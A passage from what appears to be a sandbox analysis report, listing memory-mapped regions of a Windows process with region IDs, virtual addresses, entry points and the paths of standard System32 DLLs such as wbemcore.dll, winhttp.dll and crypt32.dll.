0x7fef879602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1162 start_va = 0x7fef8b90000 end_va = 0x7fef8b97fff monitored = 0 entry_point = 0x7fef8b91414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1163 start_va = 0x7fef8ca0000 end_va = 0x7fef8d10fff monitored = 0 entry_point = 0x7fef8ce51d0 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 1164 start_va = 0x7fef8d20000 end_va = 0x7fef8d31fff monitored = 0 entry_point = 0x7fef8d289d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1165 start_va = 0x7fef8d40000 end_va = 0x7fef8df4fff monitored = 0 entry_point = 0x7fef8dbcf80 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 1166 start_va = 0x7fef8e00000 end_va = 0x7fef8e18fff monitored = 0 entry_point = 0x7fef8e01104 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1167 start_va = 0x7fef8e20000 end_va = 0x7fef8e6ffff monitored = 0 entry_point = 0x7fef8e21190 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1168 start_va = 0x7fef8e70000 end_va = 0x7fef8e77fff monitored = 0 entry_point = 0x7fef8e71020 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 1169 start_va = 0x7fef8e80000 end_va = 0x7fef8ed9fff monitored = 0 entry_point = 0x7fef8ebdde0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 1170 start_va = 0x7fef8ee0000 end_va = 0x7fef8f00fff monitored = 0 entry_point = 0x7fef8ef03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1171 start_va = 0x7fef8f10000 end_va = 0x7fef8f83fff monitored = 0 entry_point = 0x7fef8f166f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1172 start_va = 0x7fef8f90000 end_va = 0x7fef8ffafff monitored = 0 entry_point = 0x7fef8fd4344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 1173 start_va = 0x7fef9000000 end_va = 0x7fef9012fff monitored = 0 entry_point = 0x7fef9001d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1174 start_va = 0x7fef9020000 end_va = 0x7fef9081fff monitored = 0 entry_point = 0x7fef905bd80 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1175 start_va = 0x7fef9090000 end_va = 0x7fef91bbfff monitored = 0 entry_point = 0x7fef9140ef0 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 1176 start_va = 0x7fef91c0000 end_va = 0x7fef91d9fff monitored = 0 entry_point = 0x7fef91d3fbc region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 1177 start_va = 0x7fef91e0000 end_va = 0x7fef9263fff monitored = 0 entry_point = 0x7fef9231118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 1178 start_va = 0x7fef9270000 end_va = 0x7fef9294fff monitored = 0 entry_point = 0x7fef9288c54 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 1179 start_va = 0x7fef92a0000 end_va = 0x7fef92dcfff monitored = 0 entry_point = 0x7fef92a1070 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 1180 start_va = 0x7fef92e0000 end_va = 0x7fef92edfff monitored = 0 entry_point = 0x7fef92e5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1181 start_va = 0x7fef92f0000 end_va = 0x7fef9316fff monitored = 0 entry_point = 0x7fef92f11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1182 start_va = 0x7fef9320000 end_va = 0x7fef93f2fff monitored = 0 entry_point = 0x7fef9398b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1183 start_va = 0x7fef9440000 end_va = 0x7fef9486fff monitored = 0 entry_point = 0x7fef9441040 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 1184 start_va = 0x7fef9490000 end_va = 0x7fef94d1fff monitored = 0 entry_point = 0x7fef94917e4 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 1185 start_va = 0x7fef94e0000 end_va = 0x7fef9571fff monitored = 0 entry_point = 0x7fef95551ec region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 1186 start_va = 0x7fef9580000 end_va = 0x7fef95f6fff monitored = 0 entry_point = 0x7fef95be7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 1187 start_va = 0x7fef9600000 end_va = 0x7fef9639fff monitored = 0 entry_point = 0x7fef961d020 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 1188 start_va = 0x7fef97b0000 end_va = 0x7fef97f4fff monitored = 0 entry_point = 0x7fef97e3644 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 1189 start_va = 0x7fef9800000 end_va = 0x7fef9811fff monitored = 0 entry_point = 0x7fef98090bc region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 1190 start_va = 0x7fef9910000 end_va = 0x7fef9920fff monitored = 0 entry_point = 0x7fef9919e7c region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1191 start_va = 0x7fef9930000 end_va = 0x7fef9993fff monitored = 0 entry_point = 0x7fef9931254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1192 start_va = 0x7fef99a0000 end_va = 0x7fef9a10fff monitored = 0 entry_point = 0x7fef99a1010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1193 start_va = 0x7fef9ab0000 end_va = 0x7fef9ac6fff monitored = 0 entry_point = 0x7fef9ab1060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1194 start_va = 0x7fef9ad0000 end_va = 0x7fef9c7ffff monitored = 0 entry_point = 0x7fef9ad1010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1195 start_va = 0x7fef9f40000 end_va = 0x7fef9f48fff monitored = 0 entry_point = 0x7fef9f411a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1196 start_va = 0x7fefa170000 end_va = 0x7fefa1e6fff monitored = 0 entry_point = 0x7fefa17afd0 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 1197 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1198 start_va = 0x7fefa2a0000 end_va = 0x7fefa3b1fff monitored = 0 entry_point = 0x7fefa2bf354 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 1199 start_va = 0x7fefa3c0000 end_va = 0x7fefa3cefff monitored = 0 entry_point = 0x7fefa3c7e80 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 1200 start_va = 0x7fefa3d0000 end_va = 0x7fefa3d8fff monitored = 0 entry_point = 0x7fefa3d3668 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 1201 start_va = 0x7fefa3e0000 end_va = 0x7fefa3e8fff monitored = 0 entry_point = 0x7fefa3e1020 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 1202 start_va = 0x7fefa3f0000 end_va = 0x7fefa445fff monitored = 0 entry_point = 0x7fefa3f1040 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 1203 start_va = 0x7fefa450000 end_va = 0x7fefa4adfff monitored = 0 entry_point = 0x7fefa459024 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 1204 start_va = 0x7fefa4b0000 end_va = 0x7fefa4c7fff monitored = 0 entry_point = 0x7fefa4b1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1205 start_va = 0x7fefa4d0000 end_va = 0x7fefa4e0fff monitored = 0 entry_point = 0x7fefa4d16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1206 start_va = 0x7fefa520000 end_va = 0x7fefa572fff monitored = 0 entry_point = 0x7fefa522b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1207 start_va = 0x7fefa590000 end_va = 0x7fefa5a4fff monitored = 0 entry_point = 0x7fefa591020 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 1208 start_va = 0x7fefa730000 end_va = 0x7fefa73afff monitored = 0 entry_point = 0x7fefa731198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1209 start_va = 0x7fefa740000 end_va = 0x7fefa766fff monitored = 0 entry_point = 0x7fefa7498bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1210 start_va = 0x7fefa770000 end_va = 0x7fefa783fff monitored = 0 entry_point = 0x7fefa773e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1211 start_va = 0x7fefa7a0000 end_va = 0x7fefa806fff monitored = 0 entry_point = 0x7fefa7b6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1212 start_va = 0x7fefa810000 end_va = 0x7fefa81afff monitored = 0 entry_point = 0x7fefa814f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1213 start_va = 0x7fefa820000 end_va = 0x7fefa82bfff monitored = 0 entry_point = 0x7fefa8215d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1214 start_va = 0x7fefa830000 end_va = 0x7fefa83ffff monitored = 0 entry_point = 0x7fefa83835c region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 1215 start_va = 0x7fefa840000 end_va = 0x7fefa858fff monitored = 0 entry_point = 0x7fefa8411a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1216 start_va = 0x7fefa860000 end_va = 0x7fefa896fff monitored = 0 entry_point = 0x7fefa868424 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 1217 start_va = 0x7fefa8e0000 end_va = 0x7fefa8f4fff monitored = 0 entry_point = 0x7fefa8e60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1218 start_va = 0x7fefa900000 end_va = 0x7fefa9c1fff monitored = 0 entry_point = 0x7fefa90101c region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 1219 start_va = 0x7fefabe0000 end_va = 0x7fefabf6fff monitored = 0 entry_point = 0x7fefabe9d50 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 1220 start_va = 0x7fefac00000 end_va = 0x7fefac08fff monitored = 0 entry_point = 0x7fefac01010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 1221 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1222 start_va = 0x7fefad20000 end_va = 0x7fefad30fff monitored = 0 entry_point = 0x7fefad214c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1223 start_va = 0x7fefae70000 end_va = 0x7fefae83fff monitored = 0 entry_point = 0x7fefae716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1224 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1225 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1226 start_va = 0x7fefaec0000 end_va = 0x7fefaed5fff monitored = 0 entry_point = 0x7fefaec11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1227 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1228 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1229 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1230 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1231 start_va = 0x7fefb750000 end_va = 0x7fefb76cfff monitored = 0 entry_point = 0x7fefb751ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1232 start_va = 0x7fefb7a0000 end_va = 0x7fefb993fff monitored = 0 entry_point = 0x7fefb92c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1233 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1234 start_va = 0x7fefbe40000 end_va = 0x7fefbefafff monitored = 0 entry_point = 0x7fefbe46de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1235 start_va = 0x7fefbf00000 end_va = 0x7fefbf06fff monitored = 0 entry_point = 0x7fefbf014b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1236 start_va = 0x7fefbff0000 end_va = 0x7fefc00afff monitored = 0 entry_point = 0x7fefbff2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1237 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1238 start_va = 0x7fefc030000 end_va = 0x7fefc041fff monitored = 0 entry_point = 0x7fefc031060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 1239 start_va = 0x7fefc050000 end_va = 0x7fefc06efff monitored = 0 entry_point = 0x7fefc055c68 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 1240 start_va = 0x7fefc120000 end_va = 0x7fefc158fff monitored = 0 entry_point = 0x7fefc12c0f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 1241 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1242 start_va = 0x7fefc170000 end_va = 0x7fefc17cfff monitored = 0 entry_point = 0x7fefc171348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 1243 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1244 start_va = 0x7fefc350000 end_va = 0x7fefc37ffff monitored = 0 entry_point = 0x7fefc35194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1245 start_va = 0x7fefc380000 end_va = 0x7fefc3dafff monitored = 0 entry_point = 0x7fefc386940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1246 start_va = 0x7fefc4f0000 end_va = 0x7fefc4f6fff monitored = 0 entry_point = 0x7fefc4f142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1247 start_va = 0x7fefc500000 end_va = 0x7fefc554fff monitored = 0 entry_point = 0x7fefc501054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1248 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1249 start_va = 0x7fefc670000 end_va = 0x7fefc6a1fff monitored = 0 entry_point = 0x7fefc67144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1250 start_va = 0x7fefc6b0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6b2a6c region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 1251 start_va = 0x7fefc6c0000 end_va = 0x7fefc6c9fff monitored = 0 entry_point = 0x7fefc6c3b40 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 1252 start_va = 0x7fefc6d0000 end_va = 0x7fefc6f1fff monitored = 0 entry_point = 0x7fefc6d5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1253 start_va = 0x7fefc750000 end_va = 0x7fefc77efff monitored = 0 entry_point = 0x7fefc751064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1254 start_va = 0x7fefc790000 end_va = 0x7fefc7fcfff monitored = 0 entry_point = 0x7fefc791010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1255 start_va = 0x7fefc800000 end_va = 0x7fefc813fff monitored = 0 entry_point = 0x7fefc804160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 1256 start_va = 0x7fefca60000 end_va = 0x7fefca82fff monitored = 0 entry_point = 0x7fefca61198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1257 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1258 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1259 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1260 start_va = 0x7fefcb70000 end_va = 0x7fefcc00fff monitored = 0 entry_point = 0x7fefcb71440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1261 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1262 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1263 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1264 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1265 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1266 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1267 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1268 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1269 start_va = 0x7fefd000000 end_va = 0x7fefd03afff monitored = 0 entry_point = 0x7fefd001324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1270 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1271 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1272 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1273 start_va = 0x7fefd6f0000 end_va = 0x7fefe477fff monitored = 0 